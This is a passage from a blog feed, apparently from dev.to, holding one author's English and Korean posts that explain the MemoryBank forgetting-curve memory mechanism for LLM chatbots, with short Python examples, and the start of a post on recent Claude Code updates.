    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;daily_summaries&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_portrait&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Game dev, UE5 C++ specialist, introverted, problem-solving oriented&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Second, embedding + vector search. Use &lt;code&gt;sentence-transformers&lt;/code&gt; for embedding, FAISS for indexing. With LangChain, this pipeline takes a few lines.&lt;/p&gt;

&lt;p&gt;Third, forgetting curve-based updates. Once a day, or before each conversation starts, sweep through all memories and calculate R. Remove anything below a threshold (say, 0.1). During conversations, bump S and reset t for any retrieved memory.&lt;/p&gt;

&lt;p&gt;Combining these three gives you long-term memory for any chatbot or AI agent. Especially effective for &lt;strong&gt;services with repeated user interactions&lt;/strong&gt; — AI tutors, AI coaches, customer support bots, game NPCs.&lt;/p&gt;

&lt;p&gt;Imagine plugging this into game NPCs. A player tells an NPC about their adventures multiple times — the NPC remembers longer each time. A passing conversation the player had once? The NPC forgets it. Pretty natural behavior.&lt;/p&gt;

&lt;h2&gt;
  
  
  Limitations and Caveats
&lt;/h2&gt;

&lt;p&gt;MemoryBank is validated research accepted at AAAI 2024, but it has clear limitations.&lt;/p&gt;

&lt;p&gt;Incrementing S as a simple integer doesn't reflect reality. Human memory strength is influenced by emotional significance, sleep, stress, and other variables. MemoryBank ignores all of these and decides S based solely on recall count. The authors explicitly acknowledge this.&lt;/p&gt;

&lt;p&gt;Another thing. Memory summarization and personality profiling require LLM API calls. Calling the summarization API after every conversation means costs accumulate as conversations increase. For production deployment, you'd need to adjust summarization frequency or offload the summary layer to a local lightweight model.&lt;/p&gt;

&lt;p&gt;Finally, the base repo hasn't seen major updates since its May 2023 release. The ChatGLM 6B and BELLE 7B base models are dated at this point. But the architecture itself is model-agnostic. You can plug it into Claude, GPT-4o, Gemma, Llama — anything. The point isn't the model. It's the memory mechanism.&lt;/p&gt;




&lt;p&gt;In the next post, I'll break down the &lt;code&gt;R = e^(−t/S)&lt;/code&gt; formula mathematically. What happens to the curve when S goes from 1 to 5, where to set the threshold, and a simulation to see it all in action.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Perfect memory isn't memory at all. Only memory that knows how to forget is real."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>memorybank</category>
      <category>sideprojects</category>
    </item>
    <item>
      <title>AI한테 기억을 가르치려면, 잊는 법부터 가르쳐야 한다</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Mon, 13 Apr 2026 07:27:03 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/aihante-gieogeul-gareuciryeomyeon-ijneun-beobbuteo-gareucyeoya-handa-3cm0</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/aihante-gieogeul-gareuciryeomyeon-ijneun-beobbuteo-gareucyeoya-handa-3cm0</guid>
      <description>&lt;p&gt;코드는 &lt;a href="https://github.com/zhongwanjun/MemoryBank-SiliconFriend" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;에, 논문은 &lt;a href="https://arxiv.org/abs/2305.10250" rel="noopener noreferrer"&gt;arXiv&lt;/a&gt;에서 볼 수 있다.&lt;br&gt;
더 많은 글은 &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;에서.&lt;/p&gt;



&lt;p&gt;ChatGPT한테 3일 전 대화 내용을 물어본 적 있다. 기억 못 한다. Claude한테도 물어봤다. 역시 못 한다. 둘 다 대화가 끝나면 기억이 사라진다.&lt;/p&gt;

&lt;p&gt;근데 사람은 3일 전 대화를 기억한다. 정확히는, &lt;strong&gt;중요한 대화만&lt;/strong&gt; 기억한다. 어제 점심 뭐 먹었는지는 까먹어도, 친구가 이직한다고 했던 건 기억난다. 자주 떠올린 기억은 오래 남고, 안 꺼낸 기억은 자연스럽게 사라진다.&lt;/p&gt;

&lt;p&gt;MemoryBank는 이 원리를 그대로 LLM에 이식한 프로젝트다.&lt;/p&gt;
&lt;h2&gt;
  
  
  MemoryBank가 뭔데
&lt;/h2&gt;

&lt;p&gt;중국 중산대학교의 Wanjun Zhong 등이 만든 LLM용 장기 기억 메커니즘이다. AAAI 2024에 정식 논문으로 채택됐고, GitHub에 코드까지 공개돼 있다. 스타 419개. MIT 라이선스.&lt;/p&gt;

&lt;p&gt;핵심 아이디어는 간단하다. 1885년 독일 심리학자 에빙하우스가 발견한 &lt;strong&gt;망각 곡선&lt;/strong&gt;을 AI 메모리 시스템에 적용한 거다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;R = e^(−t/S)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;R은 기억 보유율, t는 경과 시간, S는 기억 강도다. 처음 배운 건 S가 1이다. 시간이 지나면 R이 급격히 떨어진다. 20분 만에 42%를 잊고, 하루 지나면 67%가 날아간다. 에빙하우스가 자기 자신한테 실험해서 알아낸 숫자다.&lt;/p&gt;

&lt;p&gt;근데 여기서 핵심 포인트가 있다.&lt;/p&gt;

&lt;p&gt;어떤 기억을 한 번이라도 &lt;strong&gt;회상(recall)&lt;/strong&gt;하면, S가 1 증가하고 t가 0으로 리셋된다. 그 기억은 더 오래 살아남는다. 자주 꺼낸 기억은 점점 더 잊기 어려워지고, 한 번도 안 꺼낸 기억은 빠르게 소멸한다.&lt;/p&gt;

&lt;p&gt;게임 서버로 치면 세션 타임아웃이랑 비슷하다. 접속 안 하면 세션이 만료되는데, 접속할 때마다 타이머가 리셋되는 것과 같은 원리다. 다만 MemoryBank는 리셋만 하는 게 아니라 타임아웃 시간 자체를 늘려버린다. 접속할 때마다 세션이 점점 더 오래 유지되는 셈이다.&lt;/p&gt;

&lt;h2&gt;
  
  
  세 개의 기둥
&lt;/h2&gt;

&lt;p&gt;MemoryBank의 아키텍처는 세 부분으로 나뉜다. Memory Storage, Memory Retrieval, Memory Updating. 게임 개발자라면 ECS 패턴이 떠오를 수도 있다. 데이터를 저장하는 컴포넌트, 데이터를 읽는 시스템, 데이터를 갱신하는 시스템. 역할이 깔끔하게 분리돼 있다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Storage&lt;/strong&gt;는 대화 원문을 타임스탬프와 함께 저장하는 계층이다. 단순히 대화를 쌓기만 하는 게 아니라 LLM을 이용해 일별 이벤트 요약, 전체 이벤트 요약, 사용자 성격 프로파일까지 계층적으로 관리한다. "지난주 월요일에 사용자가 이직 고민을 털어놨다"를 통째로 저장하면서, 동시에 "사용자는 내성적이고 성장 지향적"이라는 상위 요약도 만든다.&lt;/p&gt;

&lt;p&gt;UE5로 치면 SaveGame 시스템에 가깝다. 원본 데이터는 그대로 두면서, 핵심 상태만 별도로 직렬화해두는 패턴. 나중에 전체 데이터를 다 불러오지 않아도, 요약된 상태만으로 빠르게 맥락을 파악할 수 있다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Retrieval&lt;/strong&gt;은 FAISS 기반 벡터 검색이다. 모든 대화와 이벤트 요약을 인코더(영어는 MiniLM, 중국어는 Text2vec)로 임베딩해서 벡터로 만들어둔다. 새 대화가 들어오면 현재 대화 맥락을 같은 인코더로 벡터화하고, FAISS로 가장 관련 높은 기억을 찾아온다. LangChain을 써서 이 파이프라인을 구성했다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 대화가 들어오면
&lt;/span&gt;&lt;span class="n"&gt;query_vector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;encoder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# FAISS에서 관련 기억을 검색
&lt;/span&gt;&lt;span class="n"&gt;relevant_memories&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;faiss_index&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query_vector&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;top_k&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# 검색된 기억 + 사용자 프로파일 + 이벤트 요약을 프롬프트에 주입
&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;build_prompt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;relevant_memories&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;user_portrait&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;event_summary&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;llm&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;generate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prompt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이 구조가 좋은 이유는, 대화 전체를 컨텍스트 윈도우에 밀어넣지 않아도 된다는 거다. Claude의 200K 토큰 컨텍스트도 길게 대화하면 금방 찬다. MemoryBank는 필요한 기억만 골라서 프롬프트에 넣으니까 토큰 효율이 훨씬 낫다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory Updating&lt;/strong&gt;은 이 글의 핵심이다. 망각 곡선 공식을 적용해서, 각 기억 조각마다 보유율 R을 계산한다. R이 특정 임계값 아래로 떨어지면 그 기억을 제거하거나 약화시킨다. 대화 중 회상된 기억은 S가 올라가고 t가 리셋되니까 살아남는다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;calculate_retention&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;기억 보유율 계산&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;update_memory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;recalled&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;기억 업데이트&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;recalled&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;   &lt;span class="c1"&gt;# 기억 강도 증가
&lt;/span&gt;        &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;    &lt;span class="c1"&gt;# 경과 시간 리셋
&lt;/span&gt;
    &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;calculate_retention&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;R&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;THRESHOLD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# 보유율이 임계값 이하면
&lt;/span&gt;        &lt;span class="n"&gt;memory_item&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;forgotten&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;memory_item&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;단순하다. 근데 이 단순함이 포인트다. 논문 저자들도 "이건 탐색적이고 극도로 단순화된 모델"이라고 명시했다. 실제 인간의 기억은 훨씬 복잡하지만, LLM 메모리에 적용하기엔 이 정도면 충분히 효과적이라는 거다.&lt;/p&gt;

&lt;h2&gt;
  
  
  SiliconFriend — 기억이 공감의 전제 조건이다
&lt;/h2&gt;

&lt;p&gt;MemoryBank를 탑재한 AI 챗봇이 SiliconFriend다. 그냥 기억만 붙인 게 아니라, 38k건의 심리 상담 대화 데이터로 LoRA 파인튜닝까지 했다. LoRA rank 16, A100 한 장으로 3 에폭 학습.&lt;/p&gt;

&lt;p&gt;왜 심리 상담 데이터를 썼을까. 기억과 공감은 분리할 수 없기 때문이다. "지난번에 이직 고민 얘기했잖아, 그 후로 어떻게 됐어?"라고 물어보려면 두 가지가 필요하다. 이직 고민을 &lt;strong&gt;기억&lt;/strong&gt;하는 것, 그리고 그 기억을 꺼내서 자연스럽게 &lt;strong&gt;공감&lt;/strong&gt;하는 것. MemoryBank가 전자를, 심리 상담 파인튜닝이 후자를 담당한다.&lt;/p&gt;

&lt;p&gt;실험 결과를 보면 이게 확실히 드러난다. 베이스 ChatGLM한테 "요즘 힘들어"라고 하면 교과서적인 위로가 나온다. SiliconFriend한테 같은 말을 하면, 이전 대화에서 파악한 사용자 성격에 맞춰서 반응한다. 내성적인 사용자한테는 조심스럽게, 외향적인 사용자한테는 적극적으로.&lt;/p&gt;

&lt;p&gt;평가도 꽤 체계적이다. ChatGPT가 15명의 가상 사용자 역할을 맡아서 10일치 대화를 생성했다. 각 사용자는 서로 다른 성격을 가진다. 이 대화 이력을 기반으로 194개의 "기억 탐침 질문"을 만들어서 SiliconFriend가 얼마나 정확하게 과거를 회상하는지 측정했다.&lt;/p&gt;

&lt;p&gt;ChatGPT 기반 SiliconFriend가 가장 높은 성능을 보였고, 오픈소스 모델(ChatGLM, BELLE)도 기억 검색 정확도에서는 충분히 경쟁력 있었다. 다만 응답의 자연스러움과 일관성에서는 베이스 모델 성능 차이가 그대로 나타났다.&lt;/p&gt;

&lt;h2&gt;
  
  
  지금 쓰는 AI 메모리와 뭐가 다른가
&lt;/h2&gt;

&lt;p&gt;Claude, ChatGPT, Claude Code. 셋 다 나름의 메모리 시스템을 갖고 있다. 근데 접근 방식이 완전히 다르다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ChatGPT&lt;/strong&gt;는 대화 요약을 미리 계산해서 매 대화에 주입한다. 자동이다. 사용자가 신경 쓸 필요가 없다. 대신 요약 과정에서 디테일이 사라진다. 뉘앙스가 압축된다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude&lt;/strong&gt;는 반대다. 기억 도구를 &lt;strong&gt;온디맨드&lt;/strong&gt;로 사용한다. 과거 대화를 검색할 수 있지만, Claude가 "지금 검색해야겠다"고 판단해야만 작동한다. 판단을 안 하면 맥락이 묻힌다. 대신 검색할 때는 원본 대화에서 직접 가져오니까 깊이가 있다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;는 CLAUDE.md 파일 기반이다. 마크다운 파일에 프로젝트 맥락을 적어두면 매 세션 시작 시 자동으로 로드된다. 투명하고 편집 가능하지만, 파일이 커지면 성능이 떨어진다. 200줄 인덱스 제한도 있다.&lt;/p&gt;

&lt;p&gt;셋 다 &lt;strong&gt;망각 메커니즘이 없다&lt;/strong&gt;. 이게 MemoryBank와의 결정적 차이다.&lt;/p&gt;

&lt;p&gt;ChatGPT는 요약을 무한정 누적한다. Claude는 대화 이력이 계속 쌓인다. Claude Code의 CLAUDE.md는 사용자가 직접 정리하지 않으면 점점 비대해진다. 아무것도 잊지 않으면, 아이러니하게도 기억이 무용해진다. 모든 게 동등한 중요도로 쌓여 있으면, 정말 중요한 기억을 빠르게 찾기 어렵다.&lt;/p&gt;

&lt;p&gt;MemoryBank는 여기에 "잊기"를 도입했다. 오래되고 한 번도 안 꺼낸 기억은 자연스럽게 사라진다. 자주 회상된 기억만 강화된다. 결과적으로 메모리 저장소에는 정말 중요한 기억만 남는다. 이건 성능 최적화이기도 하다. FAISS 인덱스가 작아지고, 검색 정확도가 올라간다.&lt;/p&gt;

&lt;h2&gt;
  
  
  내 프로젝트에 어떻게 붙이나
&lt;/h2&gt;

&lt;p&gt;MemoryBank를 직접 가져다 쓸 수도 있고, 핵심 아이디어만 빌려올 수도 있다. 두 가지 경로를 짚는다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;경로 1: 레포를 그대로 쓴다.&lt;/strong&gt; GitHub에서 클론하고, &lt;code&gt;pip install -r requirement.txt&lt;/code&gt; 돌리고, OpenAI API 키를 세팅한다. ChatGPT 기반 SiliconFriend가 가장 간단하다. &lt;code&gt;SiliconFriend-ChatGPT/launch.sh&lt;/code&gt;에 API 키 넣고 실행하면 CLI에서 바로 대화할 수 있다. 영어는 &lt;code&gt;--language=en&lt;/code&gt;, 중국어는 &lt;code&gt;--language=cn&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;오픈소스 모델을 쓰고 싶으면 ChatGLM이나 BELLE 베이스 모델을 먼저 세팅하고, LoRA 체크포인트를 다운받아야 한다. A100 80GB 환경이 필요하다. 개인 프로젝트로 돌리기엔 좀 무겁다.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;경로 2: 핵심 메커니즘만 내 코드에 이식한다.&lt;/strong&gt; 이쪽이 현실적이다. 필요한 건 세 가지다.&lt;/p&gt;

&lt;p&gt;첫째, 대화를 타임스탬프와 함께 저장하는 스토리지. JSON이면 충분하다. 대화가 끝날 때마다 LLM API를 호출해서 일별 요약과 사용자 성격 요약을 생성한다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;memory_storage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;conversations&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2026-04-13T14:30:00&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;role&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;content&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;요즘 UE5 슬레이트 위젯 작업하는데 막히는 부분이 있어&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;S&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="c1"&gt;# 기억 강도 (초기값)
&lt;/span&gt;            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;t&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="c1"&gt;# 경과 시간
&lt;/span&gt;        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;daily_summaries&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;user_portrait&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;게임 개발자, UE5 C++ 전문, 내성적, 문제 해결 지향적&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;둘째, 임베딩 + 벡터 검색. &lt;code&gt;sentence-transformers&lt;/code&gt;로 임베딩하고, FAISS로 인덱싱한다. LangChain을 쓰면 이 파이프라인이 몇 줄로 끝난다.&lt;/p&gt;

&lt;p&gt;셋째, 망각 곡선 기반 업데이트. 하루에 한 번, 또는 대화 시작 전에 전체 메모리를 순회하면서 R을 계산한다. 임계값(예: 0.1) 아래인 기억은 제거한다. 대화 중 검색된 기억은 S를 올리고 t를 리셋한다.&lt;/p&gt;

&lt;p&gt;이 세 가지를 조합하면, 기존 챗봇이나 AI 에이전트에 장기 기억을 붙일 수 있다. 특히 &lt;strong&gt;반복적으로 사용자와 대화하는 서비스&lt;/strong&gt;에 효과적이다. AI 튜터, AI 코치, 고객 응대 봇, 게임 NPC 같은 곳.&lt;/p&gt;

&lt;p&gt;게임 NPC에 붙이는 시나리오를 상상해보면 재밌다. 플레이어가 NPC한테 자기 모험담을 여러 번 얘기하면, NPC가 그 이야기를 점점 더 오래 기억한다. 한 번만 스쳐 지나간 대화는 NPC도 잊어버린다. 꽤 자연스럽다.&lt;/p&gt;

&lt;h2&gt;
  
  
  한계와 주의점
&lt;/h2&gt;

&lt;p&gt;MemoryBank는 AAAI 2024에 채택된 검증된 연구지만, 한계가 분명하다.&lt;/p&gt;

&lt;p&gt;일단 S값을 단순히 정수로 올리는 건 현실과 거리가 있다. 사람의 기억 강도는 감정적 중요도, 수면, 스트레스 같은 변수에 영향받는다. MemoryBank는 이걸 전부 무시하고 "회상 횟수"만으로 S를 결정한다. 논문 저자들도 이 점을 명시적으로 인정했다.&lt;/p&gt;

&lt;p&gt;또 하나. 메모리 요약과 성격 프로파일링에 LLM API 호출이 필요하다. 대화가 끝날 때마다 요약 API를 호출하면, 대화가 많아질수록 비용이 누적된다. 실서비스에 붙이려면 요약 주기를 조절하거나, 로컬 경량 모델로 요약 레이어를 분리하는 설계가 필요하다.&lt;/p&gt;

&lt;p&gt;마지막으로, 기본 레포가 2023년 5월에 공개된 이후 큰 업데이트가 없다. ChatGLM 6B, BELLE 7B 기반이라 지금 시점에서 베이스 모델이 좀 오래됐다. 하지만 아키텍처 자체는 모델에 독립적이다. Claude, GPT-4o, Gemma, Llama 어디에든 붙일 수 있다. 핵심은 모델이 아니라 메모리 메커니즘이다.&lt;/p&gt;




&lt;p&gt;다음 편에서는 &lt;code&gt;R = e^(−t/S)&lt;/code&gt; 수식 자체를 수학적으로 분해한다. S가 1에서 5로 올라갈 때 곡선이 어떻게 변하는지, 임계값을 어디에 잡아야 하는지, 실제 시뮬레이션으로 돌려본다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"완벽한 기억은 기억이 아니다. 잊을 줄 아는 기억만이 진짜 기억이다."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>memorybank</category>
    </item>
    <item>
      <title>What Changed While Claude Code Shipped 10 Updates</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Sun, 12 Apr 2026 17:07:22 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/what-changed-while-claude-code-shipped-10-updates-2ne6</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/what-changed-while-claude-code-shipped-10-updates-2ne6</guid>
      <description>&lt;p&gt;More posts at &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;March 29 to April 10. Ten business days.&lt;/p&gt;

&lt;p&gt;Claude Code shipped 10 updates in that window. 2.1.89, 2.1.90, 2.1.91, 2.1.92, 2.1.94, 2.1.96, 2.1.97, 2.1.98, 2.1.101. Count the hotfix-only releases and there are even more.&lt;/p&gt;

&lt;p&gt;If you've worked in live-service game development, this pace feels familiar. Between content patches, crash fixes and exploit patches and balance tweaks roll out overnight. Claude Code is in that phase right now.&lt;/p&gt;

&lt;p&gt;Nobody reads changelogs line by line. So I laid out all two weeks' worth and looked at the whole picture. Three directions stand out.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Terminal Is Becoming an IDE
&lt;/h2&gt;

&lt;p&gt;Claude Code's identity is "an AI coding tool that runs in your terminal." But recent updates suggest it's not just AI bolted onto a terminal — it's an attempt to &lt;strong&gt;turn the terminal itself into an IDE&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;PowerShell tool support landed in 2.1.84 as an opt-in preview for Windows. Previously, the only option was the Bash tool, which meant Windows users needed WSL, Git Bash, or sheer willpower. Now native Windows commands just work, with syntax guidance that adapts to PowerShell 5.1 vs 7+.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before: Using Claude Code on Windows&lt;/span&gt;
